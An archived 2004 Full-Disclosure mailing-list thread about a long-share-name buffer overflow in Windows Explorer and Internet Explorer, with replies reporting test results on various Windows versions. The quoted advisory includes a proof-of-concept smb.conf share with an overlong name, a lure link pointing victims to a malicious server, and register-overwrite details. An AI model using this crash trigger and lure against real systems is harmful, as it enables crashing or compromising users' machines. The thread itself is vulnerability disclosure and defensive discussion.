RE: [Full-Disclosure] Microsoft's Explorer and Internet Explorer long share name buffer overflow.

From: Bryce Porter (bporter_at_heart.net)
Date: 04/28/04

  • Next message: SGI Security Coordinator: "SGI Advanced Linux Environment security update #19" 
    To: "KF (lists)" <kf_lists@secnetops.com>, <full-disclosure@lists.netsys.com>
Date: Wed, 28 Apr 2004 15:16:39 -0500

    I tried this on Windows XP with SP1 on a few machines in my office, and had varying results.

    If I went into the My Network Places, it recognized the 'share name' was too long and displayed an error dialog. It would not let me open the share and nothing else happened. Explorer did not lock up.

    If I went Start -> Run -> \\server.ip.address, it immediately crashed explorer and asked the usual question 'Do you want to submit a bug report?'

    I have not tried Internet Explorer yet, but I will keep you informed.

    Regards,
     
    Bryce Porter
    Network Administrator
    Heart Technologies, Inc.
    Direct 309-634-2282
    Fax 309-634-2382

    -----Original Message-----
    From: KF (lists) [mailto:kf_lists@secnetops.com]
    Sent: Monday, April 26, 2004 9:55 PM
    To: full-disclosure@lists.netsys.com
    Cc: bugtraq@securityfocus.com; submissions@packetstormsecurity.org; info@securiteam.com
    Subject: Re: [Full-Disclosure] Microsoft's Explorer and Internet Explorer long share name buffer overflow.

    This crashed IE 5.0.3700.1000 on Win2k SP4

    Both the EBP and EIP were overwritten with 0x00410041.
    ESP holds the Share name as passed by the server.
    ESI holds servers.ip\sharename (tolowered)

    I guess its unicode ninjitsu time.

    -KF

    Milan 't4c' Berger wrote:

    > Hello,
    >
    > I expierenced the same like Daniel.
    > Windows 2k all hotfixes and patches installed.
    > Machine doesn't crash, just gave me the error
    > message "share name not found"
    >
    > Tested on german Windows 2000 pro SP4/IE6
    > tested with Windows Explorer.
    >
    >
    > Regards,
    > Milan
    >
    >
    > Daniel Regalado Arias wrote:
    >
    >> Well, i have tested it in W2k with sp3 and explorer
    >> didnt get crashed!!!!!!!
    >>
    >> Well, i cant get into the share because a message
    >> appears saying "share name not found"!!!!
    >>
    >> But, explorer is OK.
    >>
    >>
    >> --- Rodrigo Gutierrez <rodrigo@intellicomp.cl>
    >> escribió: > Sunday afternoon is a bit boring, and
    >> weather sucks
    >>
    >>> down here in Santiago,
    >>> Chile so here we go...
    >>> The vuln is attached in TXT format, I would be
    >>> gratefull if someone could
    >>> verify if it affects windows 2003 as well.
    >>>
    >>> Rodrigo.-
    >>>
    >>>> Microsoft Explorer and Internet Explorer Long
    >>>
    >>
    >> Share
    >>
    >>> Name Buffer Overflow.
    >>>
    >>>
    >>>
    >>> Author: Rodrigo Gutierrez <rodrigo@intellicomp.cl>
    >>>
    >>> Affected: MS Internet Explorer, MS Explorer
    >>> (explorer.exe) Windows XP(All), Windows 2000(All)
    >>>
    >>> Not Tested: Windows 2003, Windows me, Windows 98,
    >>> Windows 95
    >>>
    >>> Vendor Status: i notified the vendor in the
    >>> beginning of 2002, this
    >>> vulnerability was supposed to be
    >>> fixed in xp service
    >>> pack 1 according to the vendors
    >>> knowledge base article
    >>> 322857.
    >>>
    >>> Vendor url:
    >>>
    >>
    >> http://support.microsoft.com/default.aspx?scid=kb;en-us;322857
    >>
    >>>
    >>>
    >>> Background.
    >>>
    >>> MS Explorer (explorer.exe) and MS Internet
    >>> Explorer(IEXPLORE.EXE) are core pieces of Microsoft Windows
    >>> Operating Systems.
    >>>
    >>>
    >>>
    >>> Description
    >>>
    >>> Windows fails to handle long share names when
    >>> accessing a remote file servers such as samba, allowing a malicious
    >>> server to crash the clients explorer and eventually get to execute
    >>> arbitrary code in the machine as the current user (usually with
    >>> Administrator rights in windows
    >>> machines).
    >>>
    >>>
    >>>
    >>> Analysis
    >>>
    >>> In order to exploit this, an attacker must be able
    >>> to get a user to connect to a malicious server which contains a
    >>> share name
    >>> equal or longer than 300
    >>> characters, windows wont allow you to create such a
    >>> share, but of course samba includes the feature ;). After your
    >>> samba box is
    >>> up and running create a share in you smb.conf :
    >>>
    >>>
    >>>
    >>> #------------ CUT HERE -------------
    >>>
    >>>
    >>
    >> [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
    >>
    >>
    >>> comment = Area 51
    >>> path = /tmp/testfolder
    >>> public = yes
    >>> writable = yes
    >>> printable = no
    >>> browseable = yes
    >>> write list = @trymywingchung
    >>>
    >>> #------------ CUT HERE -------------
    >>>
    >>>
    >>> After your server is up, just get to your windows
    >>> test box and get to the
    >>> start menu > run > \\your.malicious.server.ip.,
    >>> plufff, explorer will crash
    >>> :).
    >>>
    >>> Social Engineering:
    >>>
    >>> <a href="\\my.malicious.server.ip">Enter My 0day
    >>> sploit archive</a>
    >>>
    >>>
    >>>
    >>> Workaround.
    >>>
    >>> From your network card settings disable the client
    >>> for Microsoft networks until a real fix for this vulnerability is
    >>> available.
    >>>
    >>
    >>
    >> _________________________________________________________
    >> Do You Yahoo!?
    >> Información de Estados Unidos y América Latina, en Yahoo! Noticias.
    >> Visítanos en http://noticias.espanol.yahoo.com
    >>
    >> _______________________________________________
    >> Full-Disclosure - We believe in it.
    >> Charter: http://lists.netsys.com/full-disclosure-charter.html
    >>
    >>
    >

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html

  • Next message: SGI Security Coordinator: "SGI Advanced Linux Environment security update #19"

    Relevant Pages

    • Re: Windows XP; Windows 98 & Windows NT 4.0 compatability
      ... >3) ICF is DISABLED on the XP Machines ... >4) I'm not quite sure what you mean on file sharing. ... >obviously I can see the XP machines on the 98 Network ... Windows XP is the latest attempt to merge the Windows 9x product line ...
      (microsoft.public.windowsxp.network_web)
    • Re: Is a Windows 98se computer more, or less, of a security threat with IE 5.5 (unused) & Firefo
      ... We aren't using any Windows ME machines at all. ... That might be a better solution, however Windows 98 does not support ... He's very knowledgable about network security, ...
      (microsoft.public.windowsupdate)
    • Re: File sharing fails.
      ... Still no working network is obvious.. ... Problems sharing files between computers on a network are generally caused by 1) a misconfigured firewall; or 2) inadvertently running two firewalls such as the built-in Windows Firewall and a third-party firewall; and/or 3) not having identical user accounts and passwords on all Workgroup machines; 4) trying to create shares where the operating system does not permit it. ...
      (microsoft.public.windowsxp.basics)
    • Re: Windows explorer constantly frozen
      ... NOT new to windows, or computers, and realize there is something ... except explorer is unfathomably slow. ... Anything to do with file browsing, task bar, start menu, is all ... network, my working pc's windows explorer would spend lots of time ...
      (microsoft.public.windowsxp.help_and_support)
    • Re: paging all socket geniuses
      ... Windows, my laptop, or me or all three are... ... about the absence of a network... ... Ping was a nice courtesy of a tamer Internet of the past. ... machines and firewalls are configured to block all ICMP traffic (which ...
      (comp.lang.lisp)